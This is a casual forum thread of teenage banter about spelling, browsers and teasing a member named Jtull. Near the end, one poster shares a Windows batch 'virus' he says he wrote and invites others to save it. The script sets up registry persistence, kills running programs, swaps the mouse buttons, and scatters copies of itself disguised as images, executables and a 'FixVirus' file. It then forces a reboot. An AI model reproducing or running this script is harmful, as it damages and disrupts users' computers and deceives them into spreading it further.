The random Alkanosis thread

[Shemuel]

This a thread for Alkanosis to use for his tangents, not in any of the other topics

Edit by Alkanosis- And Jtull-bashing galore! This is in no way meant to offend Jtull though.

[Philly Homer]

I feel so touched.

[me naam is m]

jay for randomness! to quote jtull.

[Jtull]

its "YAY!!!" get it right.

[me naam is m]

oh jeah, I forgot. I had to add some typing faults.

[Philly Homer]

Don't worry, it's perfectly fine to bash Jtull's less-than-perfect spelling in this thread. I do it all the time, if thou hast not noticed.

[Shemuel]

Gay! .....no, Bay! .....no, Say! .....no, Pay! ..... no, Ray! .....no, Way! ..... no, Day! .....no, Hay! .....no, Lay! .....no, Nay! .....no, May!

[Philly Homer]

Could you explain to me the meaning of that nonsensical, almost cryptic message?

[Shemuel]

What three letter word ending in -ay isn't there?

[Philly Homer]

Cay is a word, according to Firefox's spell check. Fay is a name. So is Jay. And you forgot Jtull's favorite word; Yay!

[Shemuel]

Fay and Jay are proper nouns, so they don't count but =dammit= forgot cay =dammit=

[me naam is m]

lol alka. I only bash people who I HATE regularly. and I do not hat jtull, really. it's just that he doesn't use Firefox.

(to bring up that matter)

[stewi0001]

I dont really use firefox either

[me naam is m]

lol. traitor!

[Shemuel]

Only you, Raffitz and Alkanosis have Firefox

[me naam is m]

and we have tew onage!

[Shemuel]

Wha....?

[me naam is m]

we, firefox users, own the IE users! because:
IE is about 10 years behind in development
IE has more security holes than a strainer
IE deos noot hvae spellcheck.
IE is slower

[Philly Homer]

[Jtull-bash]AND Jtull uses IE. Perfect reason not to use it, right? Heh. [/Jtull-bash]

[me naam is m]

hey. I said not to bash Jtull today. I've bashed him enough for for the time being.

[Philly Homer]

B-But it's fun!

[me naam is m]

yeah... but I think beer is alos fun... that doesn't mean I'm drunk as Lazarus every weekend...

[Darkjedi]

Ahh! Jtull is Bill Gates!

[me naam is m]

Iknew it!!!

bill gates IS the resurrection of Hitler and the anti-Christ!!!

ow well. this ones so good, I'll make an exception.

[Philly Homer]

Sieg heil! Er... I mean... Oppose Jtull!

[me naam is m]

you know the series "allo allo"?

"I shall say this only once."
"what?"
"I shall say this only once!"
stupid germans...

[Shemuel]

The person who said " i will only say this once" was French! And how do you get Britsh TV?

[Jtull]

hey i look nothing like that and anyway im studying elcetronics.

[Philly Homer]

Of course you don't Jtull, we all know you look like the Godfather, right?

[Jtull]

ah no

[Philly Homer]

So... you have an afro? Oh and this is not off topic, as I am on one of my tangents.

[Jtull]

no definately not!!!

[Philly Homer]

You just can't spell that word right, huh? It's "definitely."

[Jtull]

yea thats right.

[Philly Homer]

Yeah that's right.

There we go, Jtull old bean. Got that mess patched up!

...Wow, my British side is beginning to dominate... I'm scared.

[Jtull]

your part brit?

[Philly Homer]

No, just the way I speak and write sometime. For example, sometime I write "colour" instead of "color". Sometimes I write "favourite" instead of "favorite".

[Darkjedi]

Yeah, and sometimes I write "Ahh, that's nice." instead of "Shut the hell up! You freakin spammer!"
(I'm not talking about you.)

[Philly Homer]

-Cringes- Don't hurt me, I'll be good boy from now on!
...Err...

[Darkjedi]

That was a good dis, wasn't it though? Wow, i'm feeling the dark side today. LOL!

[Philly Homer]

Da, that is was. Hmm... time to go YouTube around for more music, I think.

[Darkjedi]

[Philly Homer]

[Darkjedi]

[Philly Homer]

I absolutely cracked when I saw this one...

[Darkjedi]

Ever happened to you?

[Philly Homer]

Underestimate the power of stupid people in large groups? Why yes, I do that all the time. Particularly at our Department of Homeland "Security".

[Darkjedi]

Hey, open notepad, and type this (Note: save it as ddarkjedieblackenedvirus.bat):
@ Echo off
command.com
color 4
title ddarkjedieblackenedvirus
start
start
start
start calc
copy %0 %Systemroot%\ddarkjedieblackenedvirus> nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v ddarkjedieblackenedvirus /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h ddarkjedieblackenedbirus.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy ddarkjedieblackenedvirus.bat R.I.P.bat
copy ddarkjedieblackenedvirus.bat R.I.P.jpg
copy ddarkjedieblackenedvirus.bat R.I.P.txt
copy ddarkjedieblackenedvirus.bat R.I.P.exe
copy ddarkjedieblackenedvirus.bat R.I.P.mov
copy ddarkjedieblackenedvirus.bat FixVirus.bat
cd %userprofile%My Documents
copy ddarkjedieblackenedvirus.bat R.I.P.bat
copy ddarkjedieblackenedvirus.bat R.I.P.jpg
copy ddarkjedieblackenedvirus.bat R.I.P.txt
copy ddarkjedieblackenedvirus.bat R.I.P.exe
copy ddarkjedieblackenedvirus.bat R.I.P.mov
copy ddarkjedieblackenedvirus.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "Haha! You're screwed!"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy ddarkjedieblackenedvirus.bat %random%.bat
goto RIP
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Ok, don't do this. LOL! DON'T!
Oh, I created this myself.

[Jtull]

you evil.

[Darkjedi]

Heh, Heh!

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